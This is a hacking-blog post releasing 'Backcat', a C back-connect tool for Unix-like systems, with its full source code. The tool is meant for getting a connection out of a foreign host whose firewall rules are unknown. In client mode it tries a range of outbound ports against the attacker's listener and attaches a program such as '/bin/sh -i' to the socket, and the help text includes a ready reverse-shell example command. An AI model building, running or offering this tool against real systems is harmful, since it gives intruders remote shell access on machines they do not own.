Hackers2DevNull

Hackers2DevNull

Wednesday 23 October 2013

[Release!] Backcat - Back-connect Utility [*nix]


[+] Outline:
A simple utility for making life easier when back-connecting from a foreign host where firewall rules are not known.  Run a copy locally specifying a port range to listen on (optionally specify another program to handle the connection). And on the server run a copy specifying the port destination range to try and 'brute-force' (optionally specify a local port range to bind to instead of taking the first available / and optionally specify a program to pass the connection to, e.g. "/bin/sh -i").


[+] Notes:
Port range limited to 1024 per process due to using select() instead of poll(). Reason is because debugging poll on older distros gives me a headache!

[+] C source:
       

/* #####################################
 * BACKCAT::Back-connect Utility
 * Ver: 0.2 | OS: *nix | by: r0ng              
 * (Hackers2devnull.blogspot.co.uk)
 * #####################################
 */

#include <sys/types.h>
#include <sys/stat.h>
#include <sys/resource.h>
#include <fcntl.h>
#include <unistd.h>
#include <getopt.h>
#include <string.h>
#include <stdio.h>
#include <errno.h>
#include <dirent.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/tcp.h>

#define VERSION "0.2"

static int silent = 0;

static void print_help ()
{
    printf ("BACKCAT::Back-connect Utility v%s\n\n", VERSION);
    printf ("Options:\n"
"  -m, --mode=client|server  start application as \"client\" (bind and connect) or as \"server\" (bind and listen)\n"
"  -h, --host                host to connect to\n"
"  -p, --port                port or ports range. Example: -p 2000-3000\n"
"  -b, --bind                port to bind or ports bind range (by default use the first available port). Example: -b 5000-6000\n"
"  -r, --run=PROGRAM         program to exec after connect\n"
"  -s, --silent              suppress any output\n"
"  --version                 display version information and exit\n"
"  --help                    display this help and exit\n"
"  Example (remote host): ./backcat -m client -h yourip -p 2000-3000 -r \"/bin/sh -i\" \n"
"  Example (local host) : ./backcat -m server -p 2000-3000 \n"
    );
    printf ("\n");
}

static int parse_ports (const char *range, int *start_port, int *end_port)
{
    char *next;

    *start_port = strtol (range, &next, 10);

    if (next && next[0] == '-')
        *end_port = strtol (next + 1, NULL, 10);

    return 1;
}

static void exec_app (char *app, int fd)
{
    int pid;
    char *p, *tmp;

    printf ("Passing control to the specified program \n");

    dup2(fd, 0);     
    dup2(fd, 1);
    dup2(fd, 2);

    p = strstr (app, " ");
    tmp = strstr (app, " ");
    if (p)
        p++;
    if (tmp)
        *tmp = '\0';
    execlp(app, app, p, NULL);
}

int is_in_array (int *array, int array_len, int item)
{
    int i;

    for (i = 0; i <= array_len; i++) {
        if (array[i] == item)
            return 1;
    }

    return 0;
}

static void run_server (int start_port, int end_port, const char *app)
{
    int i, j;
    int total_ports = (end_port - start_port) + 1;
    int *sockets;
    int yes=1;
    fd_set master;
    fd_set read_fds;
    int fdmax;
    socklen_t addrlen;
    struct sockaddr_storage remoteaddr;
    int newfd;
    char remote_ip[100];
    int nbytes;
    int fd_stdin;
    int read_ret = 0, write_ret;
    unsigned char buf[1024];
    int accepted_fd = 0;
    int flag = 1;

    sockets = malloc (sizeof (int) * total_ports);
    FD_ZERO(&master);
    FD_ZERO(&read_fds);

    fd_stdin = STDIN_FILENO;
    fdmax = 1 + fd_stdin;

    j = 0;
    for (i = start_port; i <= end_port; i++) {
        struct sockaddr_in name;

        sockets[j] = socket (AF_INET, SOCK_STREAM, 0);
        if (sockets[j] < 0) {
            printf ("error: could not create socket. %s\n", strerror (errno));
            return;
        }
        setsockopt (sockets[j], SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));

        memset (&name, 0, sizeof (name));
        name.sin_family = AF_INET;
        name.sin_port = htons (i);
        name.sin_addr.s_addr = htonl (INADDR_ANY);

        if (bind (sockets[j], (struct sockaddr *) &name, sizeof (name)) < 0) {
            printf ("error: could not bind socket on port %d. %s\n", i, strerror (errno));
            return;
        }
        if (listen (sockets[j], 128) == -1) {
            printf ("error: could not listen on port %d. %s\n", i, strerror (errno));
            return;
        }

        FD_SET(sockets[j], &master);
        fdmax = sockets[j];
        j++;
    }

    if (!silent)
        printf ("Server is listening on %d ports\n", total_ports);

    FD_SET(fd_stdin, &master);

    while (1) {
        read_fds = master;
        if (select (fdmax + 1, &read_fds, NULL, NULL, NULL) == -1) {
            printf ("error: select () failed. %s\n", strerror (errno));
            continue;
        }

        for (i = 0; i <= fdmax; i++) {
            if (FD_ISSET(i, &read_fds)) {
                if (i == fd_stdin) {
                    read_ret = read(fd_stdin, buf, sizeof(buf));
                    if (accepted_fd) {
                        if (send (accepted_fd, buf, read_ret, 0) == -1) {
                            printf ("error: send () failed. %s\n", strerror (errno));
                        }
                        read_ret = 0;
                    }
                } else if (is_in_array (sockets, total_ports, i)) {
                    addrlen = sizeof remoteaddr;
     newfd = accept (i, (struct sockaddr *)&remoteaddr, &addrlen);

     if (newfd == -1) {
                        printf ("error: accept () failed. %s\n", strerror (errno));
                    } else {
                        FD_SET(newfd, &master);
                        if (newfd > fdmax) {
                            fdmax = newfd;
                        }
                        int result = setsockopt(newfd, IPPROTO_TCP, TCP_NODELAY, (char *) &flag, sizeof(int));
                        if (!silent)
                        printf("new connection from %s:%d on socket %d\n",
       inet_ntop(remoteaddr.ss_family,
                                &(((struct sockaddr_in*)&remoteaddr)->sin_addr),
        remote_ip, 100),
                            ntohs (((struct sockaddr_in*)&remoteaddr)->sin_port),
       newfd);

                        accepted_fd = newfd;
                    }
                } else {
                    if ((nbytes = recv(i, buf, sizeof buf, 0)) <= 0) {
                        if (nbytes == 0) {
                            if (!silent)
                                printf("socket %d closed\n", i);
                        } else {
                            printf ("socket %d, %s\n", i, strerror (errno));
                        }
                        close(i);
                        FD_CLR(i, &master);
                        accepted_fd = 0;
                    } else {
                        buf[nbytes] = '\0';
                        printf ("%s\n", buf);
                    }
                }
            }
        }
    }
}

static int run_client (char *host, int start_port, int end_port, int bind_port, char *app)
{
    int i, numbytes;
    int sockfd;
    char out_buf[] = "magictoken";
    char in_buf[1024];
    int yes=1;
    struct linger fix_ling;

    for (i = start_port; i <= end_port; i++) {
        struct sockaddr_in sa_dst;
        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
            printf ("error: could not create socket. %s\n", strerror (errno));
            continue;
        }
        fix_ling.l_onoff = 1;
        fix_ling.l_linger = 0;
        setsockopt(sockfd, SOL_SOCKET, SO_LINGER, &fix_ling, sizeof(fix_ling));

        setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));

        if (bind_port > -1) {
            struct sockaddr_in name;
            memset (&name, 0, sizeof (struct sockaddr_in));
            name.sin_family = AF_INET;
            name.sin_port = htons (bind_port);
            name.sin_addr.s_addr = htonl (INADDR_ANY);

            if (bind (sockfd, (struct sockaddr *) &name, sizeof (struct sockaddr)) < 0) {
                if (!silent)
                    printf ("error: could not bind socket on port %d. %s\n", bind_port, strerror (errno));
                return 0;
            }
        }
        memset(&sa_dst, 0, sizeof(struct sockaddr_in));
        sa_dst.sin_family = AF_INET;
        sa_dst.sin_port = htons (i);
        sa_dst.sin_addr.s_addr = inet_addr (host);

        if (connect(sockfd, (struct sockaddr *)&sa_dst, sizeof(struct sockaddr)) == -1) {
            close(sockfd);
            continue;
        }
 
        if (!silent) {
            struct sockaddr_in sin;
            socklen_t addrlen = sizeof(sin);
            int local_port = 0;
            if (getsockname (sockfd, (struct sockaddr *)&sin, &addrlen) == 0 &&
               sin.sin_family == AF_INET &&
               addrlen == sizeof(sin))
            {
                local_port = ntohs(sin.sin_port);
            }

            printf("Connection establish. Local-Port:%d Remote-Port:%d\n", local_port, i);
        }

        if (app) {
            exec_app (app, sockfd);
            return 1;
        } else {
            if ((numbytes = send (sockfd, out_buf, strlen (out_buf), 0)) == -1) {
                printf ("error: send () failed. %s\n", strerror (errno));
                close(sockfd);
                continue;
            }
            if (!silent)
                printf("client sent %d bytes: %s\n", numbytes, out_buf);

            if ((numbytes = recv(sockfd, in_buf, sizeof (in_buf) -1, 0)) == -1) {
                printf ("error: recv () failed. %s\n", strerror (errno));
                close (sockfd);
                continue;
            }

            in_buf[numbytes] = '\0';

            if (!silent)
                printf("client received %d bytes: %s\n", numbytes, in_buf);

            close(sockfd);

            if (!strcmp (in_buf, out_buf))
                return 1;
        }
    }

    return 0;
}

static void run_clients (char *host, int start_port, int end_port, int start_bind, int end_bind, char *app)
{
    if (start_bind == -1) {
        if (run_client (host, start_port, end_port, -1, app))
            return;
    } else {
        int i;

        for (i = start_bind; i <= end_bind; i++) {
            if (run_client (host, start_port, end_port, i, app))
                return;
        }
    }

    if (!silent)
        printf ("Failed to establish connection!\n");
}

int main (int argc, char *argv[])
{
    int start_port = -1;
    int end_port = -1;
    int start_bind = -1;
    int end_bind = -1;
    char ch;
    int option_index = 0;
    char *host = NULL;
    char *mode = NULL;
    char *app = NULL;

    static const struct option long_options[] = {
        {"mode", required_argument, NULL, 'm'},
        {"host", required_argument, NULL, 'h'},
        {"port", required_argument, NULL, 'p'},
        {"bind", required_argument, NULL, 'b'},
        {"run", required_argument, NULL, 'r'},
        {"silent", required_argument, NULL, 's'},
        {"version", no_argument, NULL, 1}, 
        {"help", no_argument, NULL, 0}, 
        {0, 0, 0, 0}
    };

    if (argc < 2) {
        print_help ();
        return 0;
    }

    while ((ch = getopt_long (argc, argv, "m:h:p:b:r:s", long_options, &option_index)) != -1) {
        switch (ch) {
            case 'm':
                mode = strdup (optarg);
                break;
            case 'h':
                host = strdup (optarg);
                break;
            case 'p':
                if (parse_ports (optarg, &start_port, &end_port) == 0) {
                    printf ("Failed to parse port range \"%s\". Exiting.\n", optarg);
                    return 1;
                }
                break;
            case 'b':
                if (parse_ports (optarg, &start_bind, &end_bind) == 0) {
                    printf ("Failed to parse port range \"%s\". Exiting.\n", optarg);
                    return 1;
                }
                break;
            case 'r':
                app = strdup (optarg);
                break;
            case 's':
                silent = 1;
                break;
            case 1:
                fprintf (stdout, "BACKCAT::Back-connect Utility v%s\n", VERSION);
                fprintf (stdout, "By ~r0ng (Hackers2devnull.blogspot.co.uk)\n");
                return 0;
            case 0:
                print_help ();
                return 0;
            default:
                print_help ();
                return 0;
        }
    }
    if (mode == NULL) {
        printf ("\"mode\" parameter is not specified! Please specify either \"client\" or \"server\". Exiting.\n");
        return 1;
    }

    if (strcmp (mode, "client") && strcmp (mode, "server")) {
        printf ("Invalid \"mode\" parameter! Please specify either \"client\" or \"server\". Exiting.\n");
        return 1;
    }

    if (start_port == -1) {
        printf ("Port or port range is not specified! Exiting.\n");
        return 1;
    }

    if (end_port > -1 && end_port < start_port) {
        printf ("Incorrect port range specified! Exiting.\n");
        return 1;
    }

    if (end_bind > -1 && end_bind < start_bind) {
        printf ("Incorrect port range specified! Exiting.\n");
        return 1;
    }

    if (end_port == -1)
        end_port = start_port;

    if (end_bind == -1)
        end_bind = start_bind;

    if (!strcmp (mode, "server")) {
        run_server (start_port, end_port, app);
    } else if (!host) {
        printf ("\"host\" is not specified. Exiting.\n");
    } else {
        run_clients (host, start_port, end_port, start_bind, end_bind, app);
    }

    return 0;
}


       
 

(If you find this useful, why not checkout a advert below to support the blog? :O ) ~r0ng

No comments:

Post a Comment